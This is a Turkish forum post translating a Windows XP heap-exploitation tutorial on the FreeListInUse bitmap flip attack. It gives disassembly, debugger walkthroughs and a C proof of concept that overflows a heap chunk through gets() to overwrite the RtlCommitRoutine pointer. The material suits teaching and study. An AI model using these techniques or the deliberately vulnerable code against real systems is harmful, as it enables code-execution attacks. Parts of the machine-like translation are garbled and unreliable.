Windows Heap Exploitation #5 | Heap Overflows 103

Qgenays

Katılımcı Üye
20 Haz 2020
254
3
Los Santos
İnsanlar İçin Yığın Taşmaları 103

Selam millet! Bir kez daha geri döndüm ve zamanın kumlarına gömülmek istemediğim yığın sömürüsü için başka bir önemli tekniği tartışmak için buradayım.

Şanslıyım yani bu konuda daha idare edebilirim Noel/Yeni yıl içinde biraz zaman var.

İnsanlar için yığın taşmaları 101 [NT 5.1 (Windows XP SP1) altında yığın taşmalarının temelleri)]:
> Temel ' unlink () ' sömürü ve işlev işaretçisi üzerine yazar
> İşlenmeyen özel durum filtresini kötüye kullanma
> Vektörel İstisna İşleme Kötüye Kullanımı

İnsanlar İçin Yığın Taşmaları 102:
> Biz de dahil olmak üzere tahsisi ve serbest bırakılması için yığın veri yapıları ve algoritmalar hakkında daha fazla konu ele alınır.
RtlAllocateHeap () RtlFreeHeap (), birleştirme, blok bölme ve yığınlar, segmentler gibi yapılar,
Lookaside listesi, FreeList, yığın başlıkları, vb
> Güvenli Bağlantı Kesme
> Yığın başlık tanımlama bilgileri
> Sömürü tekniği: bir kenara bakarken bir parçanın üzerine aka 'ListHead yazma'


İnsanlar İçin Yığın Taşmaları 102.5:
> FreeList [0] ınsert attack olarak bilinen başka bir popüler teknik tanıtıldı
> Bağışıklık hata ayıklayıcı için yeni bir yığın eklentisi tanıtıldı

İnsanlar için yığın taşmaları 103 (bu öğretici):
> FreeListİnUse bitmap ile ilgili bazı teoriler ele alındı
> Nicolas Wisemans 'FreeListİnUse bitmap flip attack'tanıtıldı
> RtlCommitRoutine: / ile nasıl başarısız olduğumu açıklayın ve olası bir çözüm sağlayın
> Heaper'da freelistinuse bitmap'in daha fazla analizine izin veren bazı değişiklikler yaptı, oluşturuldu
kolay kod yönetimi için bir Github deposu

Hemen içine girelim! bir 0xc0ff3333 alın ve düşünmeye hazır olun!

FreeListInUse

Freelistınuse, yığın tabanının 0x0158 uzaklığında bulunan 16 baytlık (4 uzun) bir yapıdır ve hangi FreeList[n] girdilerinin boş parçalar içerdiğini tanımlayan bir tablo oluşturan bayt sayısından oluşur.

Freelistınuse bit maskesi Freelist ayırmalar gerçekleştirirken rtlallocateheap() hızlandırmaktır.

Bir ayırma sırasında yığın yöneticisi bit eşlem boyutu ayırma 8 ve / 8 ekleyerek tarar.

Örneğin, 664 baytlık bir boyut ayırdığımızı varsayalım, + 8 (674) ve / 8 = 84 (0x54) olur, böylece yığın yöneticisi FreeList[54] ' de taramaya başlar ve aşağı doğru devam eder.

Bu, yığın yöneticisinin hızını artırmak için tamamen bir optimizasyondur.

Bu bitmap'in neye benzeyebileceğine bir göz atalım:

x6t6xH.png


Tamam, yani 4, toplam 128'i temsil eden 32 bitin her birini (tam olarak Freelistin boyutu) uzatır.

Ama bu şekilde bakmak zor, daha yakından bakalım:

x6t9pA.png


Bir FreeList [n] girişinden ayrılıyorsanız ve bu son yığın ise, bitin işaretini kaldırır.

Benzer şekilde, HeapFree() kullanıyorsanız ve Freelist'e serbest bırakılırsa (lookaside'ın dolu olduğu varsayılarak), biti ayarlayacaktır.

Ntdll!RtlAllocateHeap, kod yeni bit değerini üretmek için geçerli biti 1 ile XOR olacaktır:

Kod:
; FreeListInUse modification:

7C910CEE   . 0FB70E         MOVZX ECX,WORD PTR DS:[ESI]        ; ecx = chunk->size
7C910CF1   . 8BC1           MOV EAX,ECX                        ; eax = ecx
7C910CF3   . C1E8 03        SHR EAX,3                          ; ListOffset = size / 8
7C910CF6   . 8985 28FFFFFF  MOV DWORD PTR SS:[EBP-D8],EAX      
7C910CFC   . 83E1 07        AND ECX,7                          ; entryByte = size & 7, ecx = entryByte
7C910CFF   . 33D2           XOR EDX,EDX                        ; edx = NULL
7C910D01   . 42             INC EDX                            ; edx = 0x01
7C910D02   . D3E2           SHL EDX,CL                         ; byteToSet = 1 << entryByte
7C910D04   . 8995 04FFFFFF  MOV DWORD PTR SS:[EBP-FC],EDX      
7C910D0A   . 8D8418 5801000>LEA EAX,DWORD PTR DS:[EAX+EBX+158] ; eax = 0x004907A6 FreeListInUse Offset
7C910D11   . 33C9           XOR ECX,ECX                        ; ecx = NULL
7C910D13   . 8A08           MOV CL,BYTE PTR DS:[EAX]           ; current_val = FreeListInUse[ 
                                                               ; FreeListInUseOffset ]
7C910D15   . 33CA           XOR ECX,EDX                        ; current_val = xor(current_val,byteToSet)
7C910D17   . 8808           MOV BYTE PTR DS:[EAX],CL           ; FreeListInUse[ FreeListInUseOffset ] =
                                                               ; current_val
x6tA3G.png



Bununla yapılması gereken önemli nokta, 'byteToSet' in her zaman 1 olacağıdır. Bazı xor testleri yapalım.

Kod:
>>> current_val = 0
>>> byteToSet = 1
>>> current_val^byteToSet
1
>>> current_val = 1
>>> current_val^byteToSet
0
Bu nedenle, FreeListİnUse girdisinin değerinin son değerin ne olduğuna bağlı olduğunu görebiliriz.

Devam etmeden önce bir saniye durun ve düşünün, bu basit gerçek, xor'un sömürdüğümüz çalışma şekli ile birlikte, Freelistinuse'un tek bir parçasını kontrol edebileceğimiz bir duruma sahip olmayı başarırsak ne olur?

Freelistinuse (bitmap çevirme saldırısı)

FreeListİnUse bit eşlemindeki bitleri çevirmenin yollarını göstermeye başlamadan önce, böyle bir durumun sonuçlarını gösterelim.

FreeList[0x66] girişinde yığın yöneticisi için 0 boş parçanız olduğunu varsayalım.

Bu ne olacak biz buna bakalım:


Kod:
FreeList[0x066]   0x00a804a8 -> [ flink: 0x00a804a8 |  blink: 0x00a804a8 ]
Esasen, bu giriş için FreeListİnUse 0'a karşılık gelir.

Şimdi bir saniye için FreeListİnUse girişinin aslında 1 olarak ayarlandığını varsayalım.

Daha sonra belirli bir boyut (0x66*0x8/8) veya daha az bir tahsisat talep ettiysek, RtlAllocateHeap() Freelistinuse'u tarar ve bu isteği yerine getirebilecek karşılık gelen girişi arar (lookaside'ın boş olduğu varsayılarak).

Böylece istek devam eder ve 0x00a804a8 değerini 'geçerli' bir yığın olarak döndürür.

Şimdi, FreeList [n] liste girdisinin kendisine işaret edeceğinden, parça yoksa, bu yığın için belirli yönetim yapısı değerlerine yakın bir ofsete sahip bir değer döndürecektir.

Bu noktada, 0x00a804a8'den 216 bayt aşağı doğru üzerine yazmak ve 0x57c ofsetinde saklanan RtlCommitRoutine işaretçisinin üzerine yazmak düz olacaktır.

Ancak, bu saldırı tekniğini test ederken ve RtlAllocateHeap () tersine çevirirken, FreeListİnUse girişini çevirdikten sonra bir şarta ihtiyacımız olacağını fark ettim.

Tahsis ettiğimiz yığın, listedeki son yığın olmalıdır, aksi takdirde RtlAllocateHeap () girişleri yürütmeye ve erişim ihlaline neden olmaya çalışacaktır.

Koda bakalım:

x6FPoS.png


Bakılacak talimat cl, 0x10 testidir. 0x10'un girişteki son parça olduğu anlamına geldiğini biliyoruz.

Bu nedenle, bir FreeList [n] girişine baktığımızda, chunk adresi, başlığın kendisine değil, flink/blink'e işaret edecektir.

Eğer yukarıdaki onay başarısız olursak chunk, belirlemek için incelemek için, parça adresi almak zorundayız ve - 0x8 ve daha sonra, Başlığı parça bayrak uzaklık 0x5+. Bu en iyi görsel olarak gösterilir:

x6FkHb.png


Ve eğer yığını 0x00a804a8'e atacak olsaydık, başlık 0x00a804a0'da olurdu ve yığın bayrağımız 0x00a804a5'te olurdu (imlecin bulunduğu yer):


x6FoKs.png


Bunu bilinen bir değere (0x04 yerine 0x10) değiştirirsek ve Testi 0x10 sabitine karşı çalıştırırsak, kontrol başarısız olur ve atlamayı almaz (tabii ki bir CMP daha iyi bir seçenek olurdu). Sözde kod böyle bir şey olurdu

Kod:
if (chunk->flag & 0x10) <= 0:
           walk_freelist_entry()
Bu yüzden onu değiştirelim:

x6FE0Q.png


Kullandığımız onaltılık karakter ne olursa olsun, kontrolü atlamak için 8 bitlik bir gösterimin 0x5 konumunda ayarlanmış bir ikili değer içermelidir (örneğin: 00010000).

Tabii ki, bu tam olarak 256/2 olarak çalışır, bu yüzden son parçanın bu kontrolünü atlamak için 128 Olası bayt kullanılabilir. İşte değerler:

Kod:
0x10-0x1f
0x30-0x3f
0x50-0x5f
0x70-0x7f
0x90-0x9f
0xb0-0xbf
0xd0-0xdf
0xf0-0xff
Daha önce de belirtildiği gibi, Freelist 0x0178 ile başlar ve 0x0570 ile biter.

Bu nedenle, olası değerler, freelist[n] ' nin kendisi olan bir parçayı ayırmak için asla çalışmayacak olan 0x01-0x05'dir.

Çok başarılı olmanın bir yolu da, ayırdığınız FreeList[n] girişinden önce FreeList[n] girişinde ücretsiz bir parçaya sahip olmaktır.

Bu yığının adresi, soldan 3. konumda yukarıda listelenen bir bayt değeri içermelidir.

Örneğin: bu gibi bir adres - 0XXXXXYYXX burada YY yukarıda listelenen baytlardan herhangi birine eşittir. Yine, bunu görsel olarak hayal edelim:

x6FrQe.png


Önceki girdinin 0x4 yerine 0x32 baytına sahip olduğunu görebiliriz.

Döküm penceresinde buna bir göz atalım

x6Fuoq.png


0x32 denetimi atlıyor mu? Evet, çünkü değer yanlış döndürür ve atlamayı kabul etmez.

Kod:
>>> print (0x32 & 0x10) <= 0
False
Böylece atlama yapılmayacak ve bir HeapAlloc(984) gerçekleştirdiğimizi varsayarak bağlantı kesilmeye başlanacaktır.

Bu noktada, eax'ta 0x00490558 değerini döndürmeliyiz.

Flipping the bit

Freelist [n] sahte bir yığın ayırdığımız noktaya bile ulaşmadan önce, bit maskesini bir şekilde kötüye kullanabilmemiz gerekir.

Şimdiye kadar, 3 farklı tekniğin farkındayım:

Bir yığın taşmasını tetikleyin ve yalnızca bir FreeList[n] yığınının boyutunu değiştirin (bu FreeList[n] girişindeki tek yığın olmalıdır).

Çevirmek istediğiniz bir boyut ile değiştirin.

Bu nedenle, serbest taşma parçası tahsis edildiğinde, değiştirilen boyuta karşılık gelen FreeList girişini değiştirecektir.

Bir yığın taşmasını tetikleyin ve boyutu değiştirin, yanıp sönün / yanıp sönün ve yığın bayrağını bir FreeList[n] yığınının 0x10'una ayarlayın(FreeList [n]giriş birden fazla parçaya sahiptir).

Flink'i yaptınız ve aynı değeri yanıp söndünüz ve bayrağı ayarladınız, böylece algoritma A'daki son parça olduklarını düşünecekfreelist girişi.

Bu parçayı ayırdığınızda, değiştirilen boyuta karşılık gelen Freelistınuse girişi 1 olarak değiştirilecektir.

Bir 'inc( ptr) 'ile ilkel bir kontrolü elde edersiniz. Boş bir giriş için Freelistınuse değiştirin.

Giriş boyutunun bir parçasını ayırın-8.

Bir yığın taşmasına ihtiyacınız olduğunu kim söyledi? Bu konuda daha fazlası aşağıda.

Bununla birlikte, Test ve analiz sırasında, bir FreeListİnUse bitflip simüle etmenin önemini anladım.

Bir işlev ekledim bunu yapabilmenizi sağlayan !heaper.


x6FY5x.png


Yığın 0x00490000 için FreeListİnUse görüntülemenizi sağlar:

x6FNry.png


FreeListİnUse için FreeList [20] girişini değiştireceğiz:

x6Fj8h.png


Şimdi yapmamız gereken tek şey, FreeList[0x1c] ' de ücretsiz bir parçanın bulunduğundan ve yığın bayrağı için uyumlu bir değere sahip olduğundan emin olmaktır (yukarıya bakın).

30 Mayıs 2007'de Nicolas Waisman, dailydaves posta listesinde, güvenlik analistlerine, ilkeli kontrol ettiklerini varsayarak bir ınc [r32] talimatını nasıl kullanabileceklerini soran bir bilmece yayınladı.

Ruhu neşelendirmek için eğlenceli bir bilmece yapalım (saat 11'de dostum, bütün gece uykusuzluk).

Bilmece: eski bir Windows 2000'de (istediğiniz SP ne olursa olsun) uzak bir hizmeti kullanmaya çalıştığınızı ve ilkel olanın aşağıdaki ınc [edı] // edı'yi kontrol ettiğinizi söylesin.

Edı için en iyi seçenek ne olurdu?

Nico

Bir ilkelin kontrolünü ele geçirebilseydik ve herhangi bir yerde bir işaretçiyi birden çok kez artırabilseydik, böyle bir saldırı kurabilirdik: aşağıdakileri varsayarsak (varsayımlar kötü biliyorum):


Heapbase 0x00490000

FreeList[n] ' de FreeList [0] dışında hiçbir girişimiz yoktu]

EDX kontrollü bir değerdir

Şu anda sahip olduğumuz talimat şu şekildedir: ınc byte [edx]

Aslında artışı birden çok kez gerçekleştirebiliriz (eğer durum buysa, büyük olasılıkla başka saldırılar gerçekleştirebilirsiniz. Ama bu sadece yapmacık bir örnektir )

1) EDX'İ 0x0049015c'ye ayarlıyoruz ve Freelistinuse'u değiştiriyoruz.

x6Fi7o.png


FreeListİnUse görüntülenmesini sağlar:

x6FB5U.png



2) Şimdi, girdinin kendisine (sahte bir yığın) işaret eden freelist[0x20] ' deki parçanın sahte başlık bayrağının doğru şekilde ayarlandığından emin olmalıyız.

Mevcut değerine bir göz atalım:

x6FDbA.png


Yani bu basit, kontrollü ilkelimizi kullanarak 0x10'a yükseltelim:


x6Fmr1.png


Şimdi, 0x20 boyutu için bir tahsisat geldiğinde, yığın yöneticisi freelist[20] girişini mutlu bir şekilde iade edecektir! (0x00490278).

Bir yığın taşmasına bile ihtiyacımız yoktu! : )

FreeList [n] ' de herhangi bir ücretsiz parçaya ihtiyacımız yoktu!

Bir ınc byte [r32] talimatı için bir ilkel kontrol etmemiz gerekiyordu.

Belirli bir boyutta 2 tahsisatı kontrol etmemiz gerekiyordu.

Freelist[n] girdisini geçerli bir yığın olarak geri çekmek için bir tane ve ayırıcıyı RtlCommitRoutine() işlev işaretçisini tetikleyerek daha fazla bellek almaya zorlamak için bir tane.


RtlCommitRoutine ile sömürü

RtlCommitRoutine aracılığıyla sömürü benim için (şimdi en azından) başarılı olmadığını kanıtladı.

Bu, 0x57c ofsetinde RtlCommitRoutine işaretçisini aramadan önce bellekte başvurulan (okuma/yazma) görünen yığın yapısındaki birçok işaretçinin parçalanmasından kaynaklanmaktadır.

Bu tür işaretçiler, 0x578 ofsetinde Kilit değişkenini içerir.

None-the-less burada tetiklemeye çalıştığım aşağıdaki kod:

Kod:
7C918B26   . 8B88 7C050000  MOV ECX,DWORD PTR DS:[EAX+57C]
7C918B2C   . 85C9           TEST ECX,ECX
7C918B2E   . 0F85 9F210300  JNZ ntdll.7C94ACD3

;jump taken if ecx != 0

7C94ACD3   > 57             PUSH EDI
7C94ACD4   . 8D55 0C        LEA EDX,DWORD PTR SS:[EBP+C]
7C94ACD7   . 52             PUSH EDX
7C94ACD8   . 50             PUSH EAX
7C94ACD9   . FFD1           CALL ECX <- code execution
Bununla birlikte, genel bir write4'ünüz varsa veya bir lookaside liste parçasının flink'inin üzerine yazabilir ve döndürebilirseniz, işaretçinin kendisinin üzerine yazabilirsiniz.

heapbase + 0x57c - > heapbase + 0x608 - > RtlCommitRoutime. Heapbase'in 0x0049 olduğunu varsayarsak, flink'i 0x00490608 olarak ayarlamanız ve bu konumda arbitray kodu yazmanız yeterlidir.

Nasıl başarısız oldum?

Başlamak için 0x7c90100b'den başlayarak iki kontrol yapmamız gerekiyor.

x6FtyR.png


Yığın yapısındaki kilit değişken ofsetinde 0xffffffff00000000 işaretçisi kullanarak çekleri geçirebiliriz (bunu yığın taşmasından ayarlayabiliriz).

Daha sonra FreeList[0] ' da boş parça olup olmadığını görmek için bir kontrol var.

x6FFhe.png



Daha sonra, belirli değerler için 0x668 ofsetlerini (FrontEndHeapType referans olduğunu varsayıyorum) ve 0x654'ü kontrol eden başka bir koda geçiyoruz.

Ancak, EAX'IN değerinin muhtemelen yanlış olması nedeniyle bu ofsetlerin yanlış olduğundan şüpheleniyorum (0x00490640).

x6FMlN.png


Sonunda bunu geçersek, sub_7c918ae3'ü çağırırız.

x6FbRP.png


Sub_7c918ae3'te, yığın yapısına potansiyel olarak yanlış ofsetlerde birkaç kontrol daha görebiliriz

x6F62Y.png


Daha sonra,'shellcode'muzu' yürütmesi gereken koda iniyoruz:

x6F970.png


Tabii ki bu sadece bir kod yolu ve diğer kod yollarını belirlemek için analiz yapmadım, ancak hızlı bir bakış, değiştirilmiş işaretçimizi yürütmesi gereken işleve sadece iki çağrı ortaya koyuyor ve her iki kod yolu da başlangıçta RtlAllocateHeap ile başlayacak.


x6F0mx.png


Olası bir çözüm

Bu engelleri aşmaya çalışmanın birçok yolu göz önüne alındığında, olası bir çözüm düşündüm: rtlcommitroutine işaretçisine ulaşana ve daha ileri gidene kadar tamponu doğru bir şekilde tahsis edebilir/doldurabiliriz.

Bu hala birkaç işaretçiyi parçalayacak olsa da, umut veriyor çünkü teorik olarak sadece FreeList[0] ' In boş olduğundan emin olmamız ve heapbase+0x570 -> heapbase+0x570'deki işaretçiyle birlikte kırdığımız kilit değişkenini değiştirmemiz gerekecek.

Unutmayın, heapbase mutlaka gerçek bir örnekte boş bayt içermeyebilir.

Freelisti biraz daha incelersek, belirli bir boyutta, Freelistin geri kalanını parçalayacak ve sadece işaretçilerin üzerine yazacak bir tahsisat yapabileceğimizi fark edeceğiz.

Kod:
Heap dump 0x00490000, item 75
 Address=0x00490380
 Chunks=[041]   0x00490380 -> [ 0x00490380 |  0x00490380 ]
Örneğin, bu giriş için hesaplanan boyut 0x41 * 8 - 8 = 0x200 veya 512 bayt tahsisat için maksimum boyut: 512

Şimdi 0x0049057c (RtlCommitRoutine pointer) ve 0x00490380 (FreeList [41] chunk addr)arasındaki mesafe 508 bayttır, ancak FreeList[41] ' den ayırırsak, arabelleği 512 bayta kadar doldurabiliriz, bu yüzden esasen sadece yığın tabanının 0x57c ofsetinde işaretçiyi tahsis eder ve yazarız

Tabii ki, işaretçiyi 0x578'de ve işaretçiyi 0x570'de onarmamız gerekecek, ancak kesinlikle uygun bir seçenek gibi görünüyor

Güncelleme: teorinin gerçekten işe yaradığı ortaya çıktı !

Sahte yığın üstbilgisinin yığın bayrağı ve geçerli boyut için doğru değere sahip olduğundan emin olmalısınız.

Eğer keyfi dağıtımlarını oluşturmak ve onları özgür yeteneği varsa, o zaman (özgür ve dua ihtiyaçlarınıza uygun bir şey bulana kadar[40] FreeList içine yerleştirerek parçalar tutabilir misin?).

x6MV28.png


Bingo

x6MnAj.png


Örnek saldırı

İşte benim yapmacık FreeListİnUse örneğim.c, bunu derleyebilir ve takip edebilirsiniz! Kodu indirin ve en sevdiğiniz derleyici ile derleyin.

Sadece Dev c++ notunu kullanıyorum: bu işe yaramayabilir (nedenini anlamaya çalışın).


Kod:
/*
    FreeListInUse bitmap flip example
    technique by Nicolas Wiseman
    PoC example by Steven Seeley
 
    Note: we have to play around with a few more al********s/frees than I wanted to
    due to the lookaside. Np this is just an example..
 
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
    char *a,*b,*c,*d,*e,*f,*g,*h,*i,*j,*k,*l,*m,*trigger;
    char *x, *y, *w, *u, *z, *q, *o;
    long *hHeap;
 
    hHeap = HeapCreate(0x00040000,0,0);
 
    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    d = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
 
    e = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    f = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16); // forces onto freelist[0x3] because two busy chunks exist
    g = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16); // around the chunk
 
    // allocate for freelist[0x7b]
    z = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    x = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    y = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    w = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
 
    q = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    u = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976); // forces onto freelist[0x7b] because two busy chunks exist
    o = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976); // around the chunk
 
    // fill lookaside[0x3]
    HeapFree(hHeap, 0, a);
    HeapFree(hHeap, 0, b);
    HeapFree(hHeap, 0, c);
    HeapFree(hHeap, 0, d);
 
    // insert into freelist[0x3]
    HeapFree(hHeap, 0, f);
 
    printf("(+) Chunk e: 0x%08x\n",e);
    printf("(+) Fill chunk e (using 16 bytes), overflowing into chunk f (0x%08x) by 1 byte:\n",e);
    printf("(+) Overflow with size 0x7c (AAAAAAAAAAAAAAAA|)...\n");
    gets(e);
 
    // remove the chunks on the lookaside
    h = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    i = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    j = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    k = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
 
    // this is where we flip the bitmap. FreelistInUse [0x7c] = 1
    l = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
 
    // fill lookaside[0x7b]
    HeapFree(hHeap, 0, z);
    HeapFree(hHeap, 0, x);
    HeapFree(hHeap, 0, y);
    HeapFree(hHeap, 0, w);
 
    // insert into freelist[0x7b]
    HeapFree(hHeap, 0, u);
 
    // return the chunk that points to itself in freelist[0x7c], so we can overwrite management structures...
    m = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,984);
 
    printf("(+) Fill chunk m and destroy the management structure:\n");
    gets(m);
 
    // force the heap to be extended triggering RtlCommitRoutine
    trigger = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,4096);
 
    exit(0);
}
Bağışıklık hata ayıklayıcısında ikili dosyayı açarak ve 0x004016C4 ve 0x00401612 (her ikisi de Heapalloc'a çağrı yapar)üzerinde bir kesme noktası ayarlayarak başlayın ve'!hidedebug Zwqueryınformationprocess'.


x6MQTo.png


FreeListİnUse ve FreeList[n] analiz ederken, 0x3 için girişin serbest parçalarla ayarlandığını görebiliriz.

X010 boyut değerine dikkat edin.

x6MSyA.png


Bu parçanın boyutunun üzerine yazacağız (bir bayt üzerine yazacağız) ve sonra ondan ayıracağız. Bu, ilgili boyut FreeListİnUse girişini, üzerine yazdığımız değerle çevirecektir.

16 bayt ve ardından bir " / " girin. Örnek: AAAAAAAAAAAAAAA|. Boyut değerinin üzerine "\x7c " yazacağız ve enter tuşuna basacağız. İlk kesme noktanızı 0x00401612'de vurmalısınız.

x6Mui1.png


Şimdi parçaları tekrar inceleyelim.

Bu aşamada 0x7c için FreeListİnUse girişinin hala 0 olduğunu, ancak FreeList[0x3] adresinde bulunan yığıntıda ki boyut değerinin üzerine yazdığımızı unutmayın]:

x6MxtI.png


F8 tuşuna basarak, HeapAlloc() üzerine adım atıyoruz ve FreeList ve FreeListİnUse tablosunu görüntülüyoruz ve 0x3 için FreeListİnUse girişinin ayarlandığını ve bunun için hiçbir parça olmadığını fark ediyoruz:

x6MTOG.png


Amacımız 0x7c için biti çevirmekti, bunun olup olmadığını görelim:

x6MYUS.png


Şimdi, ikinci kırılma noktamızda, kod 0x7c girişinden ayrılmaya çalışacaktır, ancak 0x7c girişinden hemen önce bir parça boşaltmadıkça bu başarısız olacaktır.

Uygulamayı şimdi çalıştırın ve 0x004016c4'te kesme noktanıza ulaştıktan sonra 0x7b'ye serbest bırakılan bir parça göreceksiniz.

İlgili Freelistinuse'un da ayarlandığına bahse girebilirsiniz.

x6MaAb.png


Şimdi f8 tuşuna basın ve işlev çağrısının üzerine gelin. 0x00490558 (FreeList[0x7c] kendisi için ayarlanmış EAX değerini görmelisiniz!).

x6MNvQ.png


Yapılması gereken tek şey, 0x57c ofsetinde bulunan RtlCommitRoutine üzerine yazmaktır.

0x57c-0x558 = işaretçiyi kontrol etmek için 36 bayt + 4 bayt.

Tahsisatı yaptıktan sonra, 0x558 ofsetindeki tüm işaretçileri yok ettiğinizi unutmayın:

x6MXCc.png


Ama, "\x41" * 36 + "\x44" * 4 işaretçiyi tüm D'ler olacak şekilde ayarlayarak, gets() ile yapının üzerine yazalım:

x6MiVN.png


Bu noktada, bir yığın uzantısını tetiklemeniz gerekir (yığın segmentinden daha fazla bellek kaydetme).

Bu, FreeList[0] ' daki herhangi bir parçadan daha büyük bir boyuta sahip bir HeapAlloc() tetikleyerek kolayca yapılır.

Elbette, 0x7c'den sonra FreeList[n] ' den herhangi bir boyut parçasını ayıramazsınız, çünkü bunlar artık mevcut değildir.

Bu yürüyüşteki tüm cevapları vermedim çünkü okuyucuların kendi ayakları üzerinde düşünmelerini ve neden yukarıda sunduğum kodla tam olarak işe yaramayacağını anlamalarını istiyorum.

İpucu: boyuta bakın (olası bir çözüm olarak bahsettim)

Translator: @Qgenays
Source: https://www.fuzzysecurity.com/tutorials/mr_me/5.html
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.